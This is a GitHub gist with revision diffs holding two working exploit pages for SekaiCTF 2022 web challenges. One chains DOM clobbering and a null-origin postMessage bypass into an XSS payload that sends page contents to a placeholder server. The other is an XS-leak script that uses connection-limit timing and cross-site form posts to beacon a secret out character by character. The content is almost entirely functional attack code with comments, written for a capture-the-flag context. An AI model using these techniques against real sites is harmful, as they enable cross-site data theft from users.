Skip to content

Instantly share code, notes, and snippets.

@terjanq
Last active February 6, 2023 15:10
Show Gist options
  • Save terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e to your computer and use it in GitHub Desktop.
Save terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e to your computer and use it in GitHub Desktop.

Revisions

  1. terjanq revised this gist Oct 2, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion calc.html
    Original file line number Diff line number Diff line change
    @@ -7,7 +7,7 @@
    function start(){
    var ifr = document.createElement('iframe');
    // create sandboxed domain, open challenge page and force its origin to be null
    // null origin makes window.token to be undefined because of the error when accessing document.cookie
    // null origin makes window.token undefined because of the error when accessing document.cookie
    // seems to be based on https://github.com/terjanq/same-origin-xss
    ifr.sandbox = 'allow-scripts allow-popups';
    ifr.srcdoc = `<script>(${hack})()<\/script>`
  2. terjanq revised this gist Oct 2, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion calc.html
    Original file line number Diff line number Diff line change
    @@ -1,7 +1,7 @@
    <html>
    <body>
    <script>
    // clobber document.getElementById and make window.calc.contentWindow to be undefined
    // clobber document.getElementById and make window.calc.contentWindow undefined
    open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

    function start(){
  3. terjanq revised this gist Oct 2, 2022. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions safelist.html
    Original file line number Diff line number Diff line change
    @@ -54,8 +54,8 @@
    const TIMEOUT = 500;
    async function checkLetter(letter){
    // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
    // Depending whether whether we found flag's letter it will either load it or not.
    // We can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
    // Depending whether we found flag's letter it will either load the images or not.
    // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
    const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
    await add_note(payload);
    await sleep(TIMEOUT);
  4. terjanq revised this gist Oct 2, 2022. 1 changed file with 3 additions and 0 deletions.
    3 changes: 3 additions & 0 deletions safelist.html
    Original file line number Diff line number Diff line change
    @@ -53,6 +53,9 @@
    var prefix = 'SEKAI{xsleakyay';
    const TIMEOUT = 500;
    async function checkLetter(letter){
    // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
    // Depending whether whether we found flag's letter it will either load it or not.
    // We can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
    const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
    await add_note(payload);
    await sleep(TIMEOUT);
  5. terjanq revised this gist Oct 2, 2022. 1 changed file with 7 additions and 0 deletions.
    7 changes: 7 additions & 0 deletions calc.html
    Original file line number Diff line number Diff line change
    @@ -1,20 +1,27 @@
    <html>
    <body>
    <script>
    // clobber document.getElementById and make window.calc.contentWindow to be undefined
    open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

    function start(){
    var ifr = document.createElement('iframe');
    // create sandboxed domain, open challenge page and force its origin to be null
    // null origin makes window.token to be undefined because of the error when accessing document.cookie
    // seems to be based on https://github.com/terjanq/same-origin-xss
    ifr.sandbox = 'allow-scripts allow-popups';
    ifr.srcdoc = `<script>(${hack})()<\/script>`
    document.body.appendChild(ifr);
    function hack(){
    var win = open('https://obligatory-calc.ctf.sekai.team');
    setTimeout(()=>{
    parent.postMessage('remove', '*');
    // this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
    // token=null equals to undefined and e.source will be null so null == undefined
    win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
    },1000);
    }
    // this removes the iframe so e.source becomes null in postMessage event.
    onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
    }
    setTimeout(start, 1000);
  6. terjanq created this gist Oct 2, 2022.
    24 changes: 24 additions & 0 deletions calc.html
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,24 @@
    <html>
    <body>
    <script>
    open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

    function start(){
    var ifr = document.createElement('iframe');
    ifr.sandbox = 'allow-scripts allow-popups';
    ifr.srcdoc = `<script>(${hack})()<\/script>`
    document.body.appendChild(ifr);
    function hack(){
    var win = open('https://obligatory-calc.ctf.sekai.team');
    setTimeout(()=>{
    parent.postMessage('remove', '*');
    win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
    },1000);
    }
    onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
    }
    setTimeout(start, 1000);
    </script>
    </body>

    </html>
    89 changes: 89 additions & 0 deletions safelist.html
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,89 @@
    <html>
    <head>
    <script>
    const SITE_URL = 'https://safelist.ctf.sekai.team/';
    const PING_URL = 'https://myserver';
    function timeScript(){
    return new Promise(resolve => {
    var x = document.createElement('script');
    x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
    var start = Date.now();
    x.onerror = () => {
    console.log(`Time: ${Date.now() - start}`);
    resolve(Date.now() - start);
    x.remove();
    }
    document.body.appendChild(x);
    });
    }

    add_note = async (note) => {
    let x = document.createElement('form')
    x.action = SITE_URL + "create"
    x.method = "POST"
    x.target = "xxx"

    let i = document.createElement("input");
    i.type = "text"
    i.name = "text"
    i.value = note
    x.appendChild(i)
    document.body.appendChild(x)
    x.submit()
    }

    remove_note = async (note_id) => {
    let x = document.createElement('form')
    x.action = SITE_URL+"remove"
    x.method = "POST"
    x.target = "_blank"

    let i = document.createElement("input");
    i.type = "text"
    i.name = "index"
    i.value = note_id
    x.appendChild(i)
    document.body.appendChild(x)
    x.submit()
    }

    const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
    // }zyxwvutsrqponmlkjihgfedcba_
    const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
    var prefix = 'SEKAI{xsleakyay';
    const TIMEOUT = 500;
    async function checkLetter(letter){
    const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
    await add_note(payload);
    await sleep(TIMEOUT);
    await timeScript();
    await remove_note(1);
    await sleep(TIMEOUT);
    const time = await timeScript();
    navigator.sendBeacon(PING_URL, [letter,time]);
    if(time>100){
    return 1;
    }
    return 0;
    }
    window.onload = async () => {
    navigator.sendBeacon(PING_URL, 'start');
    // doesnt work because we are removing flag after success.
    // while(1){
    for(const letter of alphabet){
    if(await checkLetter(letter)){
    prefix += letter;
    navigator.sendBeacon(PING_URL, prefix);
    break;
    }
    }
    // }

    };
    </script>
    </head>
    <body>


    </body>
    </html>